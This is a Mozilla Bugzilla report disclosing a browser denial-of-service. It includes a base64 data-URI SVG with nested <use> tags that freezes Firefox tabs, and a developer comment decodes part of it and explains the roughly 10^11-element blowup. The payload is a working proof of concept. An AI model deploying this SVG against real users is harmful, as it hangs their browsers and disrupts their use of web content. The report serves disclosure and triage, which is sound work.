2034745 - A crafted SVG image (nested / deeply recursive <use> tags) causes hanging / excessive resource consumption

Status: RESOLVED DUPLICATE of bug 455100

(Core :: SVG, defect)

Description

[Nikola Kojic]

Attachment: evil.svg

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0

Steps to reproduce:

Loading a malicious SVG image through an <img> tag causes the active Firefox tab to freeze.

<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgNTEyIDUxMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4bWw6c3BhY2U9InByZXNlcnZlIiB4PSIwcHgiIHk9IjBweCIgd2lkdGg9IjUxMiIgaGVpZ2h0PSI1MTIiPgogPGRlZnM+CiAgICA8ZyBpZD0iYTAiPgogICAgICA8Y2lyY2xlIHN0cm9rZT0iIzAwMDAwMCIgZmlsbD0iI2ZmZmZmZiIgZmlsbC1vcGFjaXR5PSIwLjEiIHI9IjEwIi8+CiAgICA8L2c+CiAgPC9kZWZzPjxkZWZzPgo8ZyBpZD0iYTEiPgo8dXNlIHg9IjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iMTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iMjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iMzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iNDAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iNTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iNjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iNzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iODAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+Cjx1c2UgeD0iOTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTAiIC8+CjwvZz4KPC9kZWZzPgo8ZGVmcz4KPGcgaWQ9ImEyIj4KPHVzZSB4PSIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjEwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjMwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjQwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjUwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjYwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjcwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjgwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8dXNlIHg9IjkwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2ExIiAvPgo8L2c+CjwvZGVmcz4KPGRlZnM+CjxnIGlkPSJhMyI+Cjx1c2UgeD0iMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSIxMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSIyMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSIzMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI0MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI1MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI2MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI3MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI4MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPHVzZSB4PSI5MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhMiIgLz4KPC9nPgo8L2RlZnM+CjxkZWZzPgo8ZyBpZD0iYTQiPgo8dXNlIHg9IjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iMTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iMjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iMzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iNDAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iNTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iNjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iNzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iODAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+Cjx1c2UgeD0iOTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTMiIC8+CjwvZz4KPC9kZWZzPgo8ZGVmcz4KPGcgaWQ9ImE1Ij4KPHVzZSB4PSIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjEwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjMwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjQwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjUwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjYwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjcwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjgwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8dXNlIHg9IjkwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E0IiAvPgo8L2c+CjwvZGVmcz4KPGRlZnM+CjxnIGlkPSJhNiI+Cjx1c2UgeD0iMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSIxMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSIyMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSIzMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI0MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI1MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI2MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI3MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI4MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPHVzZSB4PSI5MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhNSIgLz4KPC9nPgo8L2RlZnM+CjxkZWZzPgo8ZyBpZD0iYTciPgo8dXNlIHg9IjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iMTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iMjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iMzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iNDAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iNTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iNjAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iNzAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iODAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+Cjx1c2UgeD0iOTAiIHk9IjEwIiB4bGluazpocmVmPSIjYTYiIC8+CjwvZz4KPC9kZWZzPgo8ZGVmcz4KPGcgaWQ9ImE4Ij4KPHVzZSB4PSIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjEwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjMwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjQwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjUwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjYwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjcwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjgwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8dXNlIHg9IjkwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E3IiAvPgo8L2c+CjwvZGVmcz4KPGRlZnM+CjxnIGlkPSJhOSI+Cjx1c2UgeD0iMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSIxMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSIyMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSIzMCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI0MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI1MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI2MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI3MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI4MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPHVzZSB4PSI5MCIgeT0iMTAiIHhsaW5rOmhyZWY9IiNhOCIgLz4KPC9nPgo8L2RlZnM+CjxkZWZzPgo8ZyBpZD0iYTEwIj4KPHVzZSB4PSIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjEwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjIwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjMwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjQwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjUwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjYwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjcwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjgwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8dXNlIHg9IjkwIiB5PSIxMCIgeGxpbms6aHJlZj0iI2E5IiAvPgo8L2c+CjwvZGVmcz48dXNlIHg9IjAiIHk9IjAiIHhsaW5rOmhyZWY9IiNhOSIgLz48L3N2Zz4K">

Actual results:

The active Firefox tab became unresponsive and froze after the malicious SVG image was loaded through an <img> tag.

Expected results:

Firefox should safely handle the malicious SVG image without causing the active tab to freeze.

Comment 1

[Nikola Kojic]

Hello,

As agreed, I’m adding you to CC.

I also noticed that if the evil.svg attachment is opened directly from Bugzilla, the whole bug thread becomes unresponsive.

Comment 2

[Magnus Melin [:mkmelin]]

Thanks!

Comment 3

[:Gijs (he/him)]

Fairly sure this is on file already.

SVG bse64 contains:

<svg viewBox="0 0 512 512" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" xml:space="preserve" x="0px" y="0px" width="512" height="512">
 <defs>
    <g id="a0">
      <circle stroke="#000000" fill="#ffffff" fill-opacity="0.1" r="10"/>
    </g>
  </defs><defs>
<g id="a1">
<use x="0" y="10" xlink:href="#a0" />
<use x="10" y="10" xlink:href="#a0" />
<use x="20" y="10" xlink:href="#a0" />
<use x="30" y="10" xlink:href="#a0" />
<use x="40" y="10" xlink:href="#a0" />
<use x="50" y="10" xlink:href="#a0" />
<use x="60" y="10" xlink:href="#a0" />
<use x="70" y="10" xlink:href="#a0" />
<use x="80" y="10" xlink:href="#a0" />
<use x="90" y="10" xlink:href="#a0" />
</g>
</defs>
<defs>
<g id="a2">
<use x="0" y="10" xlink:href="#a1" />
<use x="10" y="10" xlink:href="#a1" />
<use x="20" y="10" xlink:href="#a1" />
<use x="30" y="10" xlink:href="#a1" />
<use x="40" y="10" xlink:href="#a1" />
<use x="50" y="10" xlink:href="#a1" />
<use x="60" y="10" xlink:href="#a1" />
<use x="70" y="10" xlink:href="#a1" />
<use x="80" y="10" xlink:href="#a1" />
<use x="90" y="10" xlink:href="#a1" />
</g>
</defs>

etc. up to #a10 which uses 10 x #a9 - so this creates something like 10^11 circles or something like that.

Probably a dupe of bug 455100 / bug 1585868? We have mitigated this in various ways in the parent process, but not as much in content. Defer to the layout folks on what exactly to do with this.